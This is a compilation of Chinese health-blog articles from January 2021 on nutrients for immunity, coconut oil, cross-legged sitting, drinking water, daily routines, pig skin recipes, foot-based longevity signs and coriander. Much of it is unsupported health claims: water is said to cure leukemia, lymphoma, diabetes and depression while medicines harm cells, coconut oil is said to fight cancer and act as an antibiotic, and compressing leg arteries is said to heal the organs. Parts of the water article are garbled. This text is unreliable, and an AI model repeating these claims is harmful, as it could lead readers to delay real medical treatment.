蔬菜中,辣椒、白菜、西兰花等含量丰富;水果中,酸枣、红枣、柑橘、柠檬等含量最多。


新鲜蔬菜、水果

如果完成非常困难,还可以补充维生素C片(OTC药片只要几块钱),或者选择复合型营养素补充剂,每天额外补充100mg即可。

硒并不是日常熟悉的营养素,但不少保健品会以它为卖点,主打抗癌。

科学研究中,硒这个营养素也与抵抗力有关。我们需要留意与硒相关的食物,保障摄入。

相关研究:

硒通过调节CD4+T细胞反应发挥抗病毒作用,硒缺乏会加剧病毒感染的毒性和进程,导致病毒变得更加致命。

硒对抗体的产生也有重要的作用。

另一项研究,对50名新冠肺炎患者的血清VB1、VB6、VB12、VD、叶酸、硒和锌水平进行了测定,其中42%的患者缺乏硒。

如何获得

世界卫生组织(WHO)推荐健康成年人每天硒的摄入量为50~200μg,可耐受的最高摄入量为400μg,没有男女性别的差异。


海鲜食物

通过数据可以看出,内脏类和海鲜是关键来源,每周要安排一次内脏类,每周至少两次水产类食物。

如果能买到小麦胚芽,也可以日常煮粥煮饭时添加,非常推荐。

微量金属“锌”,是体内多种酶的重要组成部分,对免疫细胞和其他细胞的发育和维持非常重要。

缺锌会导致体液免疫和细胞免疫功能失调。

相关研究:

在老年人中,低锌状态被发现是肺炎的一个危险因素。

许多随机对照试验研究了补锌在普通感冒中的作用,结果表明,在疾病早期补锌有可能将感冒持续时间缩短1至3天。

在一份病例报告中,四名26-63岁的新冠肺炎门诊患者接受了锌盐锭剂治疗,他们每天按要求服用锭剂总量为115-184mg,持续10-14天,对最终的康复有促进作用。

如何获得

锌在食物中广泛存在,但含量差别挺大,吸收利用率也不尽相同。

饮食均衡的情况下其实并不容易缺乏,但挑食偏食、节食、饮食质量太差,依然会导致锌缺乏。

当然,如果饮食状况到达这个程度,免疫力低下也在所难免了。


贝类

贝类海产品、红肉类、动物内脏、坚果类都是锌的良好来源,这些食物是重点。

如果这些食物日常摄入比较少,需要重点关注。

不建议大家在没有营养师、医生的指导下,自行额外补锌。

用于预防疾病使用的锌的长期补充剂量,建议小于25mg/d,锌的高摄入量可能会扰乱铜的平衡。

我们每个人能做的,仅有做好自身防护,提高免疫力,维持多样化的饮食,但注重关键要点,能帮助我们吃出健康,提高生活品质。

2021-01-14 / by / in , , ,
在头上滴『这个』 预防日晒 冻伤 白发又不见了

椰子油/瓶子里的药店/保养面部和身体肌肤/冷压榨椰子油/美髪护肤/椰子油 副作用

椰子油可是非常好的物品,它是世界上目前发现具有最多功效的天然油脂之一。

据研究报告显示,洗发前或者洗发后使用椰子油能减少头发损伤,尤其是洗发前使用的效果更好。

这个研究的结果初步显示,我们的头发可以在一小时内吸收相当于头发自重的15%的椰子油。如果将头发浸在椰子油里过夜,这个数字可以增长到20%或者25%。

坚持使用椰子油保养面部和身体肌肤,会呈现婴儿般柔软细嫩的好状态,缓解干燥、防晒护发。

椰子不仅仅是它的营养非常高,还有调理身体器官与抑制病菌的能力。菲律宾人将椰子油称为“瓶子里的药店”。


椰子油

自古以来,印度也一直将椰子油当做药物来使用。椰子油还能保护皮肤避免受到阳光的伤害。

采用新鲜椰子肉,在低于60度以下通过低温压榨取得的,就被称为冷压榨椰子油。椰子油的作用:

提高免疫力

椰子油的主要成分是月桂酸,这种物质有很强的杀菌作用,能够帮助我们增强免疫力,适宜老人、小孩和体虚的人群食用。

保健皮肤

椰子油是饱和脂肪,脂质十分丰富,具有很强的抗氧化能力,可用于美容护肤。它还能够预防日晒、冻伤、尿布疹和齿龈炎,可代替卸妆油,可当护肤油。

防治心脏病和心血管疾病

椰子油能帮助防护高血压,甚至有降低血压的作用,从而减少心脏病的发病率。

椰子油可以提高新陈代谢、抗菌、抗病毒、抗癌、活化甲状腺功能、维持能量水平、稳定血糖、使头脑清晰、情绪稳定等功效。

食用椰子油会有效地帮我们将肠、胃及身体内累积的毒素逐渐排出体外,是最自然养生之良法。

椰子油能够帮助我们快速补充能量,起到消除疲劳、提神醒脑的作用。对慢性疾病如糖尿病、高血压、关节炎、肠道疾病等有一定的疗效。

椰子油能够清热解毒,是天然的抗生素,对一般轻微的发炎,如喉咙痛、皮肤红肿、黏膜的溃疡或稍微红肿,有很好的效果。

椰子油柔润,颜色透明,便秘的朋友,可以在饭后喝一小匙椰子油,久而久之,便秘会有缓解。


椰子油

对于抵抗力弱,容易感冒的朋友,可以在生菜沙拉或水果中加一些椰子油,一方面能够抗病毒杀菌,一方面又可以调整肠胃的功能。

早上起床后空腹时,挖一勺椰子油放入嘴里,漱口约15分钟,吐掉再用温水漱干净,这样还能防治口臭哦!

洗完头适当涂抹椰子油在发尾并充分让它吸收,是天然的护发膜;另外晒后皮肤发红发痒,擦上它也能起到镇静肌肤的作用。

椰子油在生活中是防治疾病和美发护肤的好帮手,但是我们在使用椰子油保健身体的同时,也要谨防椰子油的副作用。

首先一个就是过敏。对椰子油过敏的情况虽然比较少见,但也不排除有这种情况。一般情况下,对椰子油过敏的反应为流鼻涕、嘴巴发痒、皮疹和荨麻疹等,严重时可能出现过敏性休克。所以在使用椰子油时要注意,如有对椰子油过敏的人不要使用。

2021-01-14 / by / in
双腿盘坐竟有如此惊人好处!(组图)

双盘/盘腿 静坐/经络/ 血脉

今天我们分享给大家打坐对健康起到的作用是什么。

盘腿,是练习静坐的最基本的功夫。盘腿质量的好与坏,直接影响静坐入静程度的深浅,这对于一个初学者来说是一个非常重要的练习。

1. 双盘人人可练,即使60岁开始练起。

2. 双盘练得不仅是筋骨,而是把经络全部打开。

3. 如果练成,并每天坚持双盘坐20分钟,可保70岁登山如小伙。日常基本百病不生。

4. 双盘练成后,打坐就不会再腰疼。肾气充足,甚至想弓着腰坐都不可能,气足的会把脊背顶的很直。

5. 开始练几天之后,就会持续的腿疼,然后会腰疼。不练的时候也一直疼。


打坐

6. 具体的练法是上座之前做些开胯运动,然后试着双盘,直到盘上,然后忍痛,直到时间越来越长。

7. 练双盘​​,能迅速促进胃肠蠕动。即使饭后立即开练,20分钟后胃就全部排空了。

8. 双盘不仅打开腿部经络血脉,而且会打开胯关节。

9. 双盘的姿势其实脚踝压住了大腿内侧的大动脉,为了打通动脉,心脏会加大力量泵血,因而能打通腿部血脉。

10. 在打通腿部血脉前,由于双腿动脉不过血,因此全身血液都集中在上半身,而此时心脏又在加大供血力量,因此,五脏六腑会得到大量的供血,迅速改善脏腑机能,并促进大脑供血。

双盘练习法

(1)过渡练习:

1、单盘练习取得了一定的成就以后,就要进行双盘的练习。双盘是由单盘过渡而来,在过渡中应采用如下的做法:

练习者端身正坐在垫上,女性先以左腿在下,右腿在上的原则,把右腿放在左大腿上(男性相反)。注意放时要把脚尽量的放在膝关节的位子上,这时右腿的膝关节可能是翘起的,练习者可用右手按住右腿的膝关节处,逐渐的施加压力,直到右腿膝关节贴到左脚上为好。

2、上述的标准达到以后,继而进行过渡位子的练习。在原有的基础上,逐步的把脚向体外移动,即由原来的脚压在膝关节的位子变成踝关节压在膝关节上;然后用手按住膝关节进行按压,使膝关节贴到腿上为好。

经过上述的练习以后,练习者已经初步的具备了打坐的能力。因此,在练习打坐的时候,应先以单盘为上座主要的练习方法,要尽可能的加长静坐的时间。


打坐

(2)双盘练习:

经过上述的锻炼,练习者的下肢关节已经初步的具备了双盘的基础。但是,要想练好双盘打坐,还要进行双盘练习,在练习时,也应本着循序渐进的原则。

2021-01-13 / by / in
震惊世界的医学发现:口渴 竟然意味着……(组图)

水/喝水/口渴/巴特曼博士/缺水/脱水

水奔流不息,变化万千,水是生命之源,它哺育生命与滋润大地,它更是人类的好朋友。

他发现水可以治疗:

1,血压和中风:因为水能替代血液,有效地预防心脑血管并发症。
2,骨质疏松症:因为水能使成长过程中的骨骼变得更加坚固。
3,白血病和淋巴瘤:因为水能够将氧输送进细胞,而高分子具有厌倦
4,高血压:因为水是最好的天然利尿剂;
5,糖尿病:因为水能够增加体内内色氨酸的含量;
6,失眠:因为水能够产生天然的睡眠调节物质—褪黑激素;
7,抑郁症:因为水能使身体以天然的方式增加血清素的供应;


介绍喝水的方法

(1)喝水,不是喝茶,一天喝2〜3升的水,分多次喝,不是等到口渴时喝水,喝水时要加点盐,尽量喝白开水,而不是碳酸饮料和咖啡。现代人,包括大多数的医生不明白水在人体中的作用,有多么重要。药物可以缓解病情,却治不好人体的衰老性疾病。我们就会恍然大悟,许许多多疾病的病因导致身体缺乏水。身体缺水造成了水代谢功能紊乱,生理紊乱最终又导致了很多疾病的产生;

(2)水是生命之源:人之所以能在陆地上生长,也是因为身体内,整合完善的储水系统。这个系统在人体内储备的水,约占体重的75%。正因如此,人才能在短时间内,适应暂时的缺水。同时,人体内还有一个康复管理机制:在人体缺水时,严格分配体内储备的水,并让最重要的器官先得到足量的水以及由水输送的养分。

脑占人体重量的1╱50,却接收了全部血液回圈的18%一20%,水的比例也与之相同。身体缺水时,紧急管理基本时要保证重要的器官,于是,别的器官的水分就会不足。这时,它们就会发出报警信号,表明某些局部缺水。作者从医多年,经常碰到这种情况:明明是身体缺乏水发出的信号,急需补充水;但人们却用化学药品对付这些缺水信号。更不幸的是,这个错误将会持续;身体的病状逐渐发展,脱水症越来越复杂;用药越来越多,直到有一天病人死了。这时,谁都说不清他究竟是病死的还是渴死的。这是新的认知模式和新的科学理念,当然要挑战现代医学,得到广泛认同不容易!

(3)离经叛道的新理念。人体是由25%的干物质(溶质),和75%的水(溶剂)构成的。今天的科学认为,人体是装满了各种不同性质的固体物质,水而且,只有溶质(也就是血液中的物质,或血液输送的物质和血液中的血清)才能调节人体的各种活动,调节人体对水分(溶剂,的吸纳。即水,有调节体内功能的作用,能够调节溶解于其中的溶质(固体物质)。大脑总是浸泡在含有盐分的脑脊髓液体中。身体里的水被溶剂,水中溶解的固体物质被称为溶质。


喝水

水是天然的保健良药,能够解决多种健康问题。这也是人类历史上最伟大的发现。

特别是,进入成年后,渴的感觉会逐渐减少,我们的身体内部的水分会越来越少。随着年龄的增长,体内细胞的重叠量也会逐渐减少,细胞内的增多量,与细胞外表面积量之比从1:1,减少至大约0.8:1,也就说是进入老龄后,每十年身体内部损失3升以上的水。

这是一个巨大的变化。我们饮水是为了满足细胞的功能需求,饮水量的减少会影响细胞的活力。有一天深夜里,他发现了一个神奇的事实:只需要两杯水,就可以解除因在监狱15个月时间内,他已经治愈了几十名囚犯;在随后的两年半时间里,使用自来水成功又治愈了3000多个原因各种压力导致的胃溃疡病例。

这时,作者清醒地体重,这些人实际上只是干渴而已,病人脱水的信号,是通过身体的疼痛表现出来的。人们都会对干渴和呕吐反应,以为都是都是肥胖导致的的。但是人们总是吃固体东西,只有身体需要消化过剩的食物,导致干渴的感觉逐渐重叠上风时,才会喝些水。在这种情况下,身体的缺水过程,可能会进入一种持续发展的阶段,以致会以一个适应机制逐渐形成和巩固下来。这一过程,将会破坏干渴管理机制,致使身体无法通过有效的干渴感觉表达对水的需求。

那:如果你喝的水越多,你的口渴感就会越敏锐;你喝的水越少,你的口渴感就越迟钝。茶,咖啡,葡萄酒和饮料,不能代替身体所需的天然水。因为,这些饮料固然含有水分,但也含有脱水因子,特别是咖啡因和酒类。或啤酒时,身体消耗的水分,总是多于这些饮料含有的水分。假如你喝完饮料后测量一下尿液,你就会发现你排出的尿超过饮料的量。当人体处于脱水状态时,在人体内部,某些区域水分供应不足,就会发出警报。

当干渴管理机制发生作用时,人体仅存的水分将会得到调配,并在需要时使用,这导致人体的整体运行机制发生改变—即开始生病。如人体长期脱水,会导致依赖水分的机体功能暂时关闭或休眠,因为身体需要将所剩不多的水分储存起来,刹车度过困难期。而且较长的身体脱水的严重程度,某些器官和功能的承受力就会达到极限。这时,身体最活跃的组织和器官,将首先发出特定的信号和通知我们:身体已经进入严重缺水状态—慢性病出现。药物治疗,只能暂时消除身体缺水的各种危机信号;对人体细胞(包括基因细胞)却有害无益。


水在身体中的作用

1.身体出现局部缺水,首先会抑制身体的某些功能,并最终使之彻底丧失。

2.水是能量的主要来源,它是身体的“流动资金”。

3.水在身体所有细胞内部产生电力和磁力,它提供了生存所需的能量。

4.水是细胞结构的建筑粘合剂。

5.水可以防止基因遭受破坏,扩大基因因此更能发挥他的所长。

6.水可以大幅度提高骨髓免疫系统的效率,所以水也可以提高防癌的效率。

7.水是所有食物,维生素和矿物质的主要溶剂。

8.水可有助于食物分解成细小的颗粒,从而进行消化,吸收和新陈代谢。

9.水可以提高身体吸收食物核心物质的效率。

10.水可以运输身体内所有物质。

11.在血液,红细胞和肺部收集氧气的过程中,水可以提高效率。

12.当水到达一个细胞时,它可以为细胞输送氧气,并把细胞产生的废气交由肺处理。

13.水可以清除身体各部分产生的有毒废物,并把它们交由肝和肾处理。

14.水是关节间隙的主要收缩,它有助于预防关节炎和并发症。

15.水可以使椎间盘成为“防震气垫”。

16.水是最好的倾泻剂,可以防止便秘的产生。

17.水减少减少心脏病和中风发生的几率。

18.水可以预防心脏和大脑的血管内皮。

19.水对身体的冷却(排汗)系统和加热(产生电能)系统稳定性。

20.水为大脑行使正常功能(尤其是大脑的思考功能)提供活力和电量。

21.水是提高所有神经传递素(包括血液中的血清素)生产效率的关键物质。

22.水是大脑产生所有荷尔蒙(包括褪黑激素)的必需物质。

23.水有助于预防注意力缺乏症。

24.水有助于提高工作效率,扩大关注的范围。

25.和所有饮料比例,水是最好的饮料,而且没有任何替代。

26.水有助于减少压力,担心和抑郁。

27.水可以改善并恢复正常的睡眠习惯。

28.水有助于减少疲劳,为我们提供能量,使我们更加富有朝气。

29.水可以使皮肤变得更加柔软,从而延缓衰老。

30.水可以使眼睛超过神采。

31.水有助于防止青光眼。

32.水可以使骨髓的造血机制恢复正常,并防止预防和淋巴瘤。

33.水可以大幅度提高身体的免疫功能,以对抗感染和纳米管的产生。

34.水可以减少血液,防止血液凝固。

35.水可以减少经期前疼痛以及潮热。

36.水和心跳机能可以产生替代物和水流,血管形成的沉积现象。

37.在脱水过程中,身体不会储存任何剩余水分,这也是你必须每天及时补充。

2021-01-13 / by / in ,
吃早餐,在这个时间!否则,糖尿病容易找上门……

糖尿病/最健康生活时间表/糖尿病找上门/早餐不能晚于这个时间/生物钟基因

什么时间段吃食物才最健康,现在和大家分享一项最佳的生活时间表。

你几点吃早餐? 7点? 9点?干脆不吃?以色列特拉维夫大学的一项新研究指出:在上午9:30之前吃早餐,能够避免肥胖和糖尿病。研究结果发表在《Diabetes Care》杂志上。

据名医养生报导,吃早餐的时间,会影响一种调节餐后血糖和胰岛素反应的“生物钟基因”,从而与肥胖、2型糖尿病、高血压和心血管疾病产生联系。研究显示,人体内有9~12组控制节律的基因,在它们的作用下,人的激素分泌是有节律的。 9:30这个时间点,应该是现代人的节律基因,根据上班族相近的工作时间,慢慢自主形成的一个时间节点。这些事情也得掐着时间做:

最健康生活时间表

5~6点:醒了也要多睡会儿

醒后,在床上再躺5~10分钟再起床,有益于健康,应养成习惯。因为清晨是容易发生脑血管病的“魔鬼时间”,而最危险的时刻恰是刚醒的一刹那。


醒后,在床上再躺5~10分钟再起床,有益于健康 

人们在睡眠时,各项生理机能维持着“低速运转”,早晨醒来,呼吸、心跳、血压、肌张力等迅速恢复“常速运转”,引起心跳加快、血管收缩、血压上升,所以醒后立即下床,对心脏造成负担,甚至诱发心血管疾病。

6点半:做伸展运动

每天早上简单锻炼10~20分钟即可,建议以轻缓柔和的运动为主,如伸展运动、散步、瑜伽、太极拳等。

7~8点:吃份高营养早餐

包子、油条、烧饼等淀粉类食物是多数人早餐桌上的主力军。但是,除了淀粉类食物外,再来一杯牛奶或者豆浆、一个鸡蛋、一小份水果,则更加健康哦。

只要我们吃完食物,3分钟后那些食物残渣就会在牙齿上形成一个获得性膜。如果吃完饭很长时间内不去刷牙,细菌就会在这个膜上沉积,长时间会形成菌斑,进而形成牙结石。专家建议,饭后3分钟就要去刷牙,而且要保证每次3分钟左右的刷牙时间。

10点:吃一小把坚果

上午十点左右,吃一小把坚果,对心脑血管健康有好处。花生、核桃、杏仁、松子等都是不错的选择哦。

11~12点半:享受“杂牌”午餐

午餐食物一定要种类多样。做午餐一定要“杂”,炒菜时尽量多放几种食材。比如,炒青菜时放点蘑菇,做肉菜时放点胡萝卜丁、黄瓜丁,每种菜量不大,但种类、颜色要尽可能丰富。

13点:小睡30分钟

午饭后半小时,疲劳感来袭,此时不妨先喝一杯水,然后打个盹儿。午睡对降低血压、保护心脏、增强记忆力、提高免疫力等都有好处。但是,午睡时间不宜过长,20~30分钟即可。

14点:喝杯绿茶

午觉醒来之后,人总会有些倦怠,此时来杯绿茶对身体可是非常好哦,研究表明绿茶能降低患癌风险。

16~18点:适合健身

下午4~6点左右进行健身最为合适。首先,这个时间段内肌肉的增长效果最好,最有利于人体的肌肉合成。其次,人在一天之中,体温最高的时间段是在下午4~6点之间,这时运动更不容易受伤。最后,科学家们对比了不同时间内受试人员的运动功率,发现下午的时候肌肉的力量和爆发力都比上午更好一些。


下午4~6点左右进行健身最为合适 

18~20点:与家人分享“慢”晚餐

晚餐一定要清淡,对一天的营养进行查漏补缺。晚饭不能吃得太晚,否则影响睡眠。晚餐时间一般相对充裕,可以和家人一起慢慢享用,细嚼慢咽,聊聊天,无疑是一段幸福的家庭时光。

20点:站一刻钟

吃完晚饭,很多人便立刻窝在沙发里看电视,这可是十分伤害肠胃的。晚饭后最好站立15分钟,或一边走动一边给久违的朋友打个电话,也可以浇浇花、洗洗碗。

饭后45分钟,以每小时4.8公里的速度散步20分钟,热量消耗最大,如过2小时后再散步20分钟,保健效果会更佳。

提醒大家,老年人或体质较弱者,更需要餐后先休息半小时至一小时,再去运动,有冠心病者尤应注意。

21点:提前刷牙

刷牙时间最好放在晚上9点,这样可以保证自己晚上9点后,不再吃东西。也可以利用这段时间,做点自己喜欢的事情,比如看看书等。

22点:调低卧室温度

人的最佳睡眠时间是22点,最晚不超过23点。科学研究显示,卧室保持低温可以降低患糖尿病和其他代谢疾病的风险,入睡前最好将房间温度稍微调低一点。

2021-01-12 / by / in
猪身上最不值钱的部位竟比燕窝更滋补!很少人知道!

健康/美容/提高免疫力/保健/胶原蛋白/减慢机体细胞老化/强筋壮骨/补充维生素

在日常的家庭生活中,大部分人把买回带皮的猪肉很自然的把皮切掉弃之,其实真是太可惜了,因为猪皮除了能制成美味的皮冻以外,还具有美颜养容的功效!

据研究,猪皮里蛋白质含量是猪肉的2.5倍,碳水化合物的含量比猪肉高4倍,而脂肪含量却只有猪肉的1/2,而且猪皮90%以上是大分子胶原蛋白和弹性蛋白,由于猪皮含有的胶原蛋白能减慢机体细胞老化,因此,经常食用猪皮或猪蹄,有延缓衰老、美容的作用。

强筋壮骨:

猪皮中富含的胶原蛋白是构成人体骨和筋不能缺少的营养素。还有助于加强指甲、毛发的生长。

提高免疫力:

猪皮中含有丰富的蛋白质、碳水化合物及脂肪,能够补充人体所需部分营养,使人的免疫力增强。

美容养颜:

猪皮中富含的胶原蛋白能够滋养皮肤,可加强皮肤细胞吸收与贮存水分,使皮肤不容易干瘪起皱,而变得更加平整光滑,丰富饱满。

补充维生素:

人体中若维生素B12不足,就容易出现记忆力下降、表情呆滞、反应迟钝等精神或心理上的缺陷,而猪皮是维生素B12非常好的来源。

猪皮冻

猪皮

很多人都喜欢吃肉冻,做肉冻的食材多种多样,有一种就是用猪皮来做肉冻。

煮好的肉汤放在盆里摆在窗台上,过不久就凝结成晶莹筋弹的冻儿,清新又解腻,除了口感上的享受,猪皮冻还能美容养颜,补充胶原蛋白,比吃燕窝还滋补!

皮冻想做得好吃,这里可有一个小窍门哦~这就教给大家!

猪皮在做皮冻前必须刮净油脂,只有这样做好的皮冻才无油不腻,还有你需要的水晶模样。

猪皮放进煮锅煮到猪皮用筷子能穿透,这样方便刮净猪皮的油脂。

刮净猪皮油脂后把猪皮切条,再次放进干净锅里煮沸,彻底去除油脂。

水晶猪皮冻

食材:猪皮500g、葱、姜、盐、八角、桂皮、草果

步骤:

1、猪皮提前用清水浸泡。

2、刮去表面的猪毛和杂质。

3、将猪皮放入锅内,烧开水,煮十分钟左右。

4、用温水洗净。

5、捞出来用温水清洗,用刀将猪皮表面和背面的猪油刮掉,用温水洗净。

6、换水,烧开,再次将猪皮放入,烧开。

7、捞出洗净,再次刮油、洗净。直至猪皮内测的猪油全部刮除干净。

8、将猪皮切成宽5毫米宽的段。

9、洗净,控干水分。

10、将猪皮放锅内,添加足量的清水。

11、锅子烧开,撇去浮沫。

12、放入葱姜。

13、准备调味料,葱切段,姜切片,八角桂皮草果装盒。加入盐。

14、熬煮至猪皮软烂,汤汁有粘稠感。

15、待猪皮冻凉凉,将其放入容器内,待其冷却凝固即可。

16、还可以加入少许生抽,做成带点棕色的。

麻辣皮冻

食材:猪皮600g、辣椒油、盐、八角2g、香叶1g、花椒粉1g、胡椒粉1g、白糖1g、醋5g、姜3g、食用碱1g

步骤:

1、准备食材,把猪皮洗净,放入水里加八角、香叶、姜煮熟,煮至用筷子插能轻巧穿过即可关火;

2、把猪皮晾凉,用小镊子拔净残余的猪毛,刮去油脂;

3、放入加有1汤匙食用碱和1汤匙醋的热水中,反复搓洗几次,以祛除刮油脂过程中残留的油渣;

4、洗好的猪皮用刀切细条,放入没过猪皮两指的清水里再次煮,大火烧开;

5、小火慢煮1—2小时左右,加盐再煮开即可;

6、等猪皮汤凉后盛到准备好的盆里;

7、把盆盖上保鲜膜放冰箱的冷藏室一夜就好了;

8、把蒜用捣蒜器捣成泥,放在碗里,加花椒粉,醋,生抽白糖,拌均匀,倒在切好的皮冻上,再浇上辣椒油即可。

猪皮阿胶红枣汤

食材:猪皮100克、阿胶15克、红枣10克、红糖20克。

步骤:

1、猪皮洗净,汆水捞起,用刀刮去毛和油脂,洗净,切粗条。

2、红枣洗净去核,阿胶捣成粉,将4碗水倒入瓦煲烧开,下猪皮、红枣大火烧沸,转用文火久炖至猪皮熟烂。

3、下入阿胶粉、红糖,用小火慢熬,至彻底融化,即可食用。

2021-01-12 / by / in
百岁老人揭秘:脚上如果有这些迹象,证明你会长寿!

长寿/脚/养生先养脚/脚底的颜色

在朋友圈常常听说养生先养脚,腿勤人才能长寿,是因为人老脚先衰。

很多人往往是在发现脚痛或不适后才留意到脚对我们的紧张性,脚上的穴位是身材全部器官中最多的,又被称为“第二心脏”,可见它的地位有多么重要。脚与我们的寿命有着密不可分的关联,我们也可以通过察看脚的温度、颜色的变化来理解本人的健康状况。

看脚知寿命,那从哪几个方面来察看脚部的一些变化,从而作出判别呢?主要是从以下几个方面去察看判别。

1、脚底的颜色

中医认真望闻问切,而观脚便是属于望诊,会依据表面的一些变化来判别身材的一些变化,颜色是反映在皮肤上,但是代表着内脏的一些变化,正常健康人的脚底颜色会略红,假如脚底的红色十分明显,便是发热的形态;假如脚底的颜色发青,便是寒冷的形态;如出现非常黄的颜色,提示可能有肝胆疾病;颜色如发白,除了可能有寒证外,还可以存在养分不良和血虚;而假如看到脚部的颜色发紫或发黑,那问题就会更严重,意味着血液循环差。这个时候应及时到医院进行检查和医治。


正常健康人的脚底颜色会略红

2、脚部有温度的人长寿

有些人属于体寒的体质,即便是夏季,脚部的温度还是那么的低。

“寒从足生”是冬天不少人挂在嘴边的话,是说形成身体寒意,往往是由于脚部受凉导致的。确实,对于很多女性来说,往往会觉得冬天是那么的难过。女性本身便是体寒的人群,脚部没有温度,血液循环会有很大的影响。

同时,脚部没有温度,过于寒冷,也是肾虚的表示,男性有肾虚,女性相同有肾虚,肾气不足的时候,阳气会不断的散失,对于调理有十分大的影响。但是,当不再肾虚,肾​​气十分充分时可以有效的让脚部保持相当的温度。

3、察看脚的指甲

指甲的变化也是一种健康的表现。健康人的指甲多为粉红色,假如指甲惨白预示着养分不良或血虚,指甲上出现纵行条纹,表示机体薄弱,抗病力差。

4、大脚趾主寿

脚趾长又大、脚部宽厚、实大的人是可以长寿的。反之,脚趾瘦小,脚部狭隘的人往往不会长寿。这是由于我们脚部脚趾的气血、经络是雷同的,以我们的小脚趾来说,这个部位是足少阴肾经的来源,这个部位要是粗大、厚实,表现了身体肾气是十分茂盛的;但是,当我们脚部的脚趾细小、皮薄则是肾气多衰的表现,可以表明身体的肾气并不充分。

因此,我们可以察看本人的脚趾来判别,当发觉到脚趾长又大,表明身体肾气十分充足。

脚部的健身活动

老人可通过按摩脚底、用脚趾抓地等来强身健体。

1、取站立或坐姿,双脚紧贴地面,与肩同宽,脚趾以抓地、放松相结合的方式,交替刺激经络。

2、训练用二趾和三趾夹东西,然后重复将脚趾往上扳或往下扳,同时按摩脚趾,可刺激脚部穴位,强身健体。

大家都希望能健康长寿,要想健康长寿就多吃以下这些水果,比如说梨子、苹果等等。

有益健康长寿的水果

1、梨

梨又被称作快果、玉乳,因鲜嫩多汁被称为“自然矿泉水”。具有清热解毒、生津润燥、清心降火的作用。对肺、支气管及上呼吸道有相称好的滋养成效,还可协助消化、促进食欲,并有精良的解热利尿作用。每天吃上一到两个梨可有效缓解秋燥。

2、苹果


苹果

苹果又被称为萍婆,其性味甘凉,具有补性情、养胃阴、生津解渴、润肺悦心的成效,被称为心血管的健康保护神。多食用可以改善呼吸系统及肺的功用。工作紧张之余闻闻苹果的幽香,还能提神醒脑、缓解紧张的情感。

3、柿子

柿子味甘涩,性寒。其所含的维生素及糖分要高出普通水果一到两倍。可以养肺护胃,、驱除燥火,经常食用可以补虚、止咳、利肠、除热。枵腹食柿子易患胃柿石症,因此最好饭后食用,尽量少食柿皮。

4、山楂

山楂就是我们经常说的山里红。山楂中丰厚的黄酮类及大量的维生素,可以有效制止自由基的生成,加强身材免疫力。山楂甘酸微温,是开胃消食,加强消化功用的良药。

5、大枣

新鲜的大枣中含有丰厚的维生素,尤其是大量的维生素C,可以促进体内多余的胆固醇变化为胆汁酸。此外,大枣味甘性温,还是补中益气,养血安神的佳品。不过枣皮不易消化,最好不要食用。

6、石榴

石榴本是西域特产,自汉代时传入中原。石榴味甘酸、涩温,可以有效的抗氧化,减少体内堆积的氧化胆固醇,延缓苍老,而且关于初秋的咽喉燥渴很有疗效。

7、板栗

板栗,性味甘温,入脾、胃、肾三经,可以养胃、健脾、补肾、壮腰、强筋、活血、止血、消肿等。栗子中还含有丰厚的不饱和脂肪酸、维生素及矿物质,可抵御骨质疏松,高血压等疾病。清新秋季多食些板栗是不错的选择。

8、猕猴桃

猕猴桃得名于猕猴对它的喜欢,其维生素C的含量极高。此果还含有血清促进素,可以协助我们波动情感、镇定心境;丰厚的膳食纤维可以促进心脏健康、协助消化。猕猴桃性酸,味甘寒,还具有生津润燥,解热除烦的成效,也是秋季水果的极佳之选。

2021-01-11 / by / in
经常吃的它居然是“排毒之王”,可惜很多人还不知道!

香菜/香菜功效/排毒之王 香菜/香菜吃法/香菜妙用

香菜,又名芫荽、香荽,香菜是大家很熟悉的一道提味蔬菜,也就是常常作为配菜出现,香菜除了做菜还具有消食下气等功效,今天就分享给大家一些香菜的妙用。

香 菜 功 效 :

开胃消食,香菜辛香升散,能促进胃肠蠕动,既能开胃,还有助于消化。


香菜功效很多 

健 脾 养 胃:

香菜性温,脾胃虚寒的人适度吃点香菜可起到温胃散寒、健脾的作用。特别是天冷的时候,胃暖暖的才能吃的更好。

清 热 发 汗:

香菜还有显着的发汗清热的功能,香菜的气味虽然很多人不喜欢,但其特殊香味却能刺激汗腺分泌,促使人体发汗,透疹。

杀 菌 消 炎:

香菜还富含维生素C和维生素A,而维生素C有增体免疫力、杀菌消炎之效,因此常吃香菜对一般呼吸道感染病有防治的辅助作用哦。

利 尿 通 便:

香菜中所含的沉香油酸、苹果酸钾等能促进血液循环,有改善心肌的收缩能力和利尿作用。因此香菜也受减肥瘦身人士的喜爱。

香 菜 吃 法:

既然香菜有这么多功效,那怎样吃才能有效地汲取香菜的营养呢?今天教大家几道香菜的做法,快学起来吧。

香 菜 汁


香菜汁 

食 材:香菜、水。

做 法:将香菜洗净切成段备用。

将香菜放入榨汁机,倒入适量水进行搅拌。喜欢绵绵口感的,榨汁的时候可以加牛油果哦。榨好后装入杯子里就可以饮用啦。香菜的清香在榨汁后别有一番风味哦。当做沙拉调料倒在沙拉上也是一个不错的选择哦。既有人体所需的维生素,又低脂低热量。

香 菜 炒 饭

食 材:香菜、米、洋葱、胡萝卜、大蒜、青豆、油、盐

做 法:将所有材料洗净备用,洋葱、胡萝卜、大蒜切碎,熟米饭放凉备用。锅内热油后,倒入蒜末和洋葱末炒香,再放入胡萝卜和青椒继续煸炒。

香菜倒入榨汁机内加少量水榨成糊。将榨好的香菜糊倒入锅内,继续翻炒。加入晾凉的白米饭,翻炒均匀,尽量使每一粒米饭都裹上香菜汁。倒入青豆,翻炒约3分钟,再加盐调味,就可以出锅啦。绿色的炒饭,看着就很有食欲呢。

香 菜肉 沫

食 材:香菜、猪肉、小葱、生姜、大蒜、盐

做 法:香菜、洗净切成碎末,装进碗里备用。

将洗净的猪肉切碎,生姜、大蒜切成碎末,放置碗中备用。锅里热油,先放入葱姜爆香,再倒入肉沫进行翻炒。肉炒至八分熟时,把香菜放入锅中翻炒两分钟,出锅前放盐等配料调味就可以了。除了下饭外,小布给大家分享一个新吃法,用饼包着香菜肉沫吃,喜欢吃饼的可以试试哦。

香 菜 妙 用:


香菜能去除腥味

去除腥味

香菜中含有挥发油和挥发性香味物质,它能祛除肉类的腥膻味,因此在一些菜肴中加些香菜,能起到去腥膻、增鲜的功效哦。

菜做好后,在做好的菜上撒一些香菜就可以了,既好看又好吃。

消肿止痛

香菜不仅能去腥味,还能消除因蜂蜇或虫咬伤的肿包。

将香菜洗干净后捣烂,敷在肿起来的地方,会起到非常显着的消肿止痛的作用。

驱蚊防虫

香菜由于其特殊的气味,因而也是驱除蚊虫的好帮手。比起蚊香来更接近自然,且对身体没有副作用。

